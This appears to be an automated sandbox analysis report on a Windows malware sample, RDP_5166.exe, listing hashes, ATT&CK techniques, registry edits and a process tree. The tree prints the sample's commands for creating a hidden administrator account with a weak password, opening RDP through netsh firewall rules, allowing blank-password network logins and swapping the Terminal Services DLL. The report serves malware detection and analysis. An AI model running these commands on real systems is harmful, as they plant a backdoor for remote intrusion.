5312214b15330113f6eab71565e1e3c7d1ee3b59daa6703c271aaf3b192e6809

Analysis

max time kernel
135s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
19-08-2024 06:25

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General

Target

$TEMP/RDP_5166.exe
Size

569KB
MD5

a46ab91afbba2a657bce8e961bf2632f
SHA1

7c1a484a381fc4915c6904358f7a3611ad9323d2
SHA256

740b1c1498915271214824fa1c5f1a373efdcf13adee853f70d582cec353a1a1
SHA512

a1a519c05dea2ab7db4dcea2945c6afb5292d1701404b0de7c530df13ffe81db986fd9c7d703225178f9df4468c17c9db0a78029ae87112e35c51490576a17c4
SSDEEP

12288:8W7IR23s4x7/6GDG9e9WJX08vV0CjUsZl4VXqnxq:h7J5D6GDGc9WJk8d0wLIaq

Score

9^/10

defense_evasion discovery evasion lateral_movement persistence privilege_escalation

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Remote Service Session Hijacking: RDP Hijacking 1 TTPs 3 IoCs

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

lateral_movement

RDP Hijacking

T1563.002

pid	Process
2684	cmd.exe
5020	net1.exe
2680	net.exe

Modifies Windows Firewall 2 TTPs 3 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3312	netsh.exe
4356	netsh.exe
1688	netsh.exe

Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs

persistence

Terminal Services DLL

T1505.005

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\Icosahedron\\disavow.dll"	SETUP_73538.exe

Allows Network login with blank passwords 1 TTPs 1 IoCs

Allows local user accounts with blank passwords to access device from the network.

Remote Desktop Protocol

T1021.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\LimitBlankPasswordUse = "0"	RDP_5166.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	RDP_5166.exe

Executes dropped EXE 1 IoCs

pid	Process
2824	SETUP_73538.exe

Loads dropped DLL 6 IoCs

pid	Process
4556	RDP_5166.exe
4556	RDP_5166.exe
4556	RDP_5166.exe
4556	RDP_5166.exe
4556	RDP_5166.exe
1036	svchost.exe

Modifies WinLogon 2 TTPs 4 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	RDP_5166.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	RDP_5166.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\wgautilacc = "0"	RDP_5166.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1"	SETUP_73538.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\rfxvmt.dll	SETUP_73538.exe

Hide Artifacts: Hidden Users 1 TTPs 1 IoCs

defense_evasion

Hidden Users

T1564.002

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\wgautilacc = "0"	RDP_5166.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\Icosahedron\disavow.ini	SETUP_73538.exe
File created	C:\Program Files\Icosahedron\disavow.dll	SETUP_73538.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RDP_5166.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SETUP_73538.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1036	svchost.exe
1036	svchost.exe
1036	svchost.exe
1036	svchost.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
652	Process not Found

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2824	SETUP_73538.exe
Token: SeAuditPrivilege	1036	svchost.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 4556 wrote to memory of 2824	4556	RDP_5166.exe	93
PID 4556 wrote to memory of 2824	4556	RDP_5166.exe	93
PID 4556 wrote to memory of 2824	4556	RDP_5166.exe	93
PID 4556 wrote to memory of 4576	4556	RDP_5166.exe	95
PID 4556 wrote to memory of 4576	4556	RDP_5166.exe	95
PID 4556 wrote to memory of 4576	4556	RDP_5166.exe	95
PID 4576 wrote to memory of 4356	4576	cmd.exe	97
PID 4576 wrote to memory of 4356	4576	cmd.exe	97
PID 4576 wrote to memory of 4356	4576	cmd.exe	97
PID 4556 wrote to memory of 1636	4556	RDP_5166.exe	100
PID 4556 wrote to memory of 1636	4556	RDP_5166.exe	100
PID 4556 wrote to memory of 1636	4556	RDP_5166.exe	100
PID 1636 wrote to memory of 1688	1636	cmd.exe	102
PID 1636 wrote to memory of 1688	1636	cmd.exe	102
PID 1636 wrote to memory of 1688	1636	cmd.exe	102
PID 4556 wrote to memory of 4640	4556	RDP_5166.exe	103
PID 4556 wrote to memory of 4640	4556	RDP_5166.exe	103
PID 4556 wrote to memory of 4640	4556	RDP_5166.exe	103
PID 4640 wrote to memory of 3288	4640	cmd.exe	105
PID 4640 wrote to memory of 3288	4640	cmd.exe	105
PID 4640 wrote to memory of 3288	4640	cmd.exe	105
PID 3288 wrote to memory of 2788	3288	net.exe	106
PID 3288 wrote to memory of 2788	3288	net.exe	106
PID 3288 wrote to memory of 2788	3288	net.exe	106
PID 4556 wrote to memory of 2684	4556	RDP_5166.exe	107
PID 4556 wrote to memory of 2684	4556	RDP_5166.exe	107
PID 4556 wrote to memory of 2684	4556	RDP_5166.exe	107
PID 2684 wrote to memory of 888	2684	cmd.exe	109
PID 2684 wrote to memory of 888	2684	cmd.exe	109
PID 2684 wrote to memory of 888	2684	cmd.exe	109
PID 888 wrote to memory of 2556	888	net.exe	110
PID 888 wrote to memory of 2556	888	net.exe	110
PID 888 wrote to memory of 2556	888	net.exe	110
PID 2684 wrote to memory of 2680	2684	cmd.exe	111
PID 2684 wrote to memory of 2680	2684	cmd.exe	111
PID 2684 wrote to memory of 2680	2684	cmd.exe	111
PID 2680 wrote to memory of 5020	2680	net.exe	112
PID 2680 wrote to memory of 5020	2680	net.exe	112
PID 2680 wrote to memory of 5020	2680	net.exe	112
PID 2824 wrote to memory of 3312	2824	SETUP_73538.exe	114
PID 2824 wrote to memory of 3312	2824	SETUP_73538.exe	114

C:\Users\Admin\AppData\Local\Temp\$TEMP\RDP_5166.exe
"C:\Users\Admin\AppData\Local\Temp\$TEMP\RDP_5166.exe"
1⤵
- Allows Network login with blank passwords
- Checks computer location settings
- Loads dropped DLL
- Modifies WinLogon
- Hide Artifacts: Hidden Users
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4556
- C:\Users\Admin\AppData\Local\Temp\SETUP_73538.exe
  "C:\Users\Admin\AppData\Local\Temp\SETUP_73538.exe" -i
  2⤵
  - Server Software Component: Terminal Services DLL
  - Executes dropped EXE
  - Modifies WinLogon
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\SYSTEM32\netsh.exe
    netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3312
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c netsh advfirewall firewall add rule name="Port reconnecting" protocol="TCP" localport=3389 action=block dir=IN
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="Port reconnecting" protocol="TCP" localport=3389 action=block dir=IN
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:4356
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c netsh advfirewall firewall add rule name="Port reconnecting" protocol="TCP" localport=5939 action=block dir=IN
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="Port reconnecting" protocol="TCP" localport=5939 action=block dir=IN
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1688
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user "wgautilacc" "1234" /add /active:yes /comment:"DefaultUser" /expires:never
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\SysWOW64\net.exe
    net user "wgautilacc" "1234" /add /active:yes /comment:"DefaultUser" /expires:never
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3288
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user "wgautilacc" "1234" /add /active:yes /comment:"DefaultUser" /expires:never
      4⤵
      System Location Discovery: System Language Discovery
      PID:2788
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net localgroup "Administrators" "wgautilacc" /add & net localgroup "Remote Desktop Users" "wgautilacc" /add
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\SysWOW64\net.exe
    net localgroup "Administrators" "wgautilacc" /add
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:888
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup "Administrators" "wgautilacc" /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:2556
- - C:\Windows\SysWOW64\net.exe
    net localgroup "Remote Desktop Users" "wgautilacc" /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2680
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup "Remote Desktop Users" "wgautilacc" /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      System Location Discovery: System Language Discovery
      PID:5020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
PID:1516

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1036

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=1292,i,1602949858158667699,12464335823361976127,262144 --variations-seed-version --mojo-platform-channel-handle=4412 /prefetch:8
1⤵
PID:4312

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Users

T1564.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Remote Service Session Hijacking

T1563

RDP Hijacking

T1563.002

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\SETUP_73538.exe

Filesize
1.5MB

MD5
9adce164113ec09d243a78029aecfa2e

SHA1
403fb3148345800ca6f0374459e3f6d5ef3b613e

SHA256
d577804cf39a7af100747f2dcc00c525a19fa3cb0498885d020cc2a0f10a9436

SHA512
c938ccc8b89181e2d5113f31e4adc532b0c62793ba3549dbc7ece22a30219d4f0885e89b1ac01499bed5ea1dd653cbee3b61bdb0883d9980ea4c518ac70b01f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsh4B1E.tmp\System.dll

Filesize
11KB

MD5
0063d48afe5a0cdc02833145667b6641

SHA1
e7eb614805d183ecb1127c62decb1a6be1b4f7a8

SHA256
ac9dfe3b35ea4b8932536ed7406c29a432976b685cc5322f94ef93df920fede7

SHA512
71cbbcaeb345e09306e368717ea0503fe8df485be2e95200febc61bcd8ba74fb4211cd263c232f148c0123f6c6f2e3fd4ea20bdecc4070f5208c35c6920240f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsh4B1E.tmp\nsExec.dll

Filesize
6KB

MD5
293165db1e46070410b4209519e67494

SHA1
777b96a4f74b6c34d43a4e7c7e656757d1c97f01

SHA256
49b7477db8dd22f8cf2d41ee2d79ce57797f02e8c7b9e799951a6c710384349a

SHA512
97012139f2da5868fe8731c0b0bcb3cfda29ed10c2e6e2336b504480c9cd9fb8f4728cca23f1e0bd577d75daa542e59f94d1d341f4e8aaeebc7134bf61288c19

Download Submit
\??\c:\program files\icosahedron\disavow.dll

Filesize
102KB

MD5
de5ab87a7fcc1d9225feed2185fa0d08

SHA1
9184073717812324999601bf3dbfa89c52f2ce4d

SHA256
54fa75eadbadd1c86ca950ae93b70e5512dea629d103fdf5eaa1b070a32068ac

SHA512
226819782e68b051003f7f47b4e1d5a6b6d52713ee4bff6f740fbc356793d8e526663c7c51f230b44ac04449e4ca79c28a8454f20badf3f322d8f7a40c87851f

Download Submit
\??\c:\program files\icosahedron\disavow.ini

Filesize
181KB

MD5
1d63f27fe33bcf7795ffbee0576d76aa

SHA1
6f3c71f8ecd983d54502798c190e02ebf5e6a1e4

SHA256
57d03a2a794019bea83f1e866c83ea48db91feb2599036435db291e098f7ff7a

SHA512
871906a16812dc05ba75208e2ef84838f003bc082c9d27e12783e97a18a8cd96daecb5cae92f4429df74414cd203e522ec6749ce4c9d8a130e9fa35c782e3a78

Download Submit
memory/2824-40-0x0000000000400000-0x000000000058F000-memory.dmp

Filesize
1.6MB

Download